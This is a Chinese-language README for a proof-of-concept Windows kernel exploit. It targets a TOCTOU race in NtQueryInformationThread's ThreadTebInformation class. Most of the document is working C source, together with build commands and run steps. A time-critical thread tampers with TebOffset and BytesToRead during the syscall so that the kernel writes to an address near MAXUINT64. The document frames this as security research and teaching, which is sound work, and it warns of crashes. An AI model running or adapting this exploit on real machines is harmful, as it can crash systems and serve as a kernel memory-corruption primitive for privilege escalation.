Windows内核信息泄露竞态利用演示
本项目是一个针对Windows系统内核机制的安全研究演示程序。它揭示了在多线程环境下,系统调用NtQueryInformationThread在处理ThreadTebInformation类信息时存在的潜在竞态条件漏洞(TOCTOU)。通过一个高优先级的竞态线程,程序能够在一个极短的时间窗口内,篡改系统调用使用的参数,从而尝试将数据写入一个非常高的内核地址,展示了内核态与用户态交互中的风险点。
功能特性
- 内核竞态条件触发:程序启动一个高优先级的后台线程,持续修改传递给系统调用的结构体参数。
- TOCTOU漏洞演示:利用
NtQueryInformationThread调用过程中检查和使用的间隙,篡改其TebOffset和BytesToRead字段。 - 内核地址写入尝试:通过构造参数,尝试让内核API将数据写入一个极高的内核地址空间(
MAXUINT64 - 0xFF),用于验证漏洞的存在。 - 精确的时间窗口控制:使用
volatile变量和忙等待同步机制,精确控制竞态条件的启动时机,确保漏洞利用的可靠性。
安装指南
系统要求
- 操作系统:Windows (x64)
- 开发环境:支持Windows SDK的C/C++编译器 (如Visual Studio, MinGW-w64)
- 权限:通常需要管理员权限运行以进行某些底层操作,但演示本身在普通用户权限下也可能触发。
编译步骤
-
克隆代码:
git clone https://github.com/your-repo/windows-race-demo.git cd windows-race-demo -
使用Visual Studio编译:
- 打开Visual Studio命令提示符。
- 编译为可执行文件:
cl /O2 /EHsc main.cpp /link /SUBSYSTEM:CONSOLE
-
使用MinGW-w64编译:
x86_64-w64-mingw32-gcc -O2 main.cpp -o race_demo.exe -lkernel32 -lntdll
使用说明
基础使用
直接运行编译生成的 race_demo.exe 程序。
.\race_demo.exe
程序运行后,会立即创建一个高优先级的竞态线程,并开始在一个无限循环中调用 NtQueryInformationThread,尝试利用竞态条件向内核地址写入数据。由于这是一个漏洞利用演示,程序可能会触发系统异常(如访问违规)或导致系统不稳定,建议在虚拟机或测试环境中运行。
典型使用场景
该程序主要用于以下场景:
- 内核安全研究:分析Windows系统调用在处理用户态参数时的安全性。
- 漏洞验证:验证特定的内核API是否存在TOCTOU(Time-of-check to time-of-use)漏洞。
- 教学演示:展示多线程竞态条件如何影响系统核心功能。
核心机制
- 准备一个
THREAD_TEB_INFORMATION结构体,设置目标内核写入地址(TebInformation)和初始读取参数。 - 启动一个竞态线程,该线程以极高的优先级持续修改结构体中的
TebOffset和BytesToRead字段。 - 主线程在一个循环中反复调用
NtQueryInformationThread。 - 当调用发生时,系统在内核态读取参数,但由于竞态线程的介入,可能读到的参数已被篡改,导致内核在错误的位置进行内存操作。
核心代码
以下代码展示了实现竞态条件利用的核心逻辑。
1. 关键数据结构与系统调用定义
#include <Windows.h>
// 定义 THREAD_TEB_INFORMATION 结构体,用于向内核传递参数
typedef struct _THREAD_TEB_INFORMATION
{
PVOID TebInformation; // 指向缓冲区,用于存放从TEB读取的数据
ULONG TebOffset; // 在TEB中开始读取的偏移量
ULONG BytesToRead; // 要读取的字节数
} THREAD_TEB_INFORMATION, * PTHREAD_TEB_INFORMATION;
// 定义 ThreadTebInformation 类,用于 NtQueryInformationThread
#define ThreadTebInformation 0x1A
// 声明未文档化的系统调用 NtQueryInformationThread
NTSYSCALLAPI
NTSTATUS
NTAPI
NtQueryInformationThread(
_In_ HANDLE ThreadHandle,
_In_ ULONG ThreadInformationClass,
_Out_writes_bytes_(ThreadInformationLength) PVOID ThreadInformation,
_In_ ULONG ThreadInformationLength,
_Out_opt_ PULONG ReturnLength
);
2. 竞态线程函数
// 用于竞态的全局变量,volatile 防止编译器过度优化
volatile UINT64* smash_me = 0;
BOOL ready_to_smash = 0;
// 竞态线程的主函数
DWORD smash_func(LPVOID unused)
{
// 将线程优先级提升至 TIME_CRITICAL,以获得更高的CPU时间片
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
// 等待主线程设置好目标并发出开始信号
while (ready_to_smash == 0) {
}
// 进入无限循环,不断修改目标内存地址的值
while (1) {
// 通过异或操作,在 TebOffset 和 BytesToRead 之间快速切换
*smash_me ^= 0x0000000100001860;
}
return 0;
}
3. 主函数及漏洞触发逻辑
int main(int argc, char** argv)
{
// 1. 启动竞态线程
CreateThread(NULL, 0, smash_func, NULL, 0, NULL);
ULONG return_len = 0;
HANDLE thread_handle = GetCurrentThread();
THREAD_TEB_INFORMATION teb_information = { 0 };
// 2. 设置漏洞利用参数
// 目标地址:一个非常高的内核地址,正常情况不可访问
teb_information.TebInformation = (PVOID)(MAXUINT64 - 0xFF);
// 初始偏移量
teb_information.TebOffset = 0x1860;
// 初始读取字节数
teb_information.BytesToRead = 1;
// 3. 将竞态线程的攻击目标指向结构体中的 TebOffset 字段
smash_me = (volatile UINT64*)&teb_information.TebOffset;
// 发出开始信号,让竞态线程开始修改
ready_to_smash = 1;
// 4. 主线程进入循环,反复调用存在漏洞的系统调用
while (1) {
// 在调用过程中,teb_information.TebOffset 可能会被竞态线程修改
NtQueryInformationThread(thread_handle, ThreadTebInformation, &teb_information, sizeof(THREAD_TEB_INFORMATION), &return_len);
}
}
这段代码的核心思想是利用高优先级线程在 NtQueryInformationThread 读取参数之前,快速修改参数的值,从而在内核态产生非预期的行为,是研究Windows内核安全机制的重要参考。
6HFtX5dABrKlqXeO5PUv//c3FFoe0AOGj6AI3o9I8g0=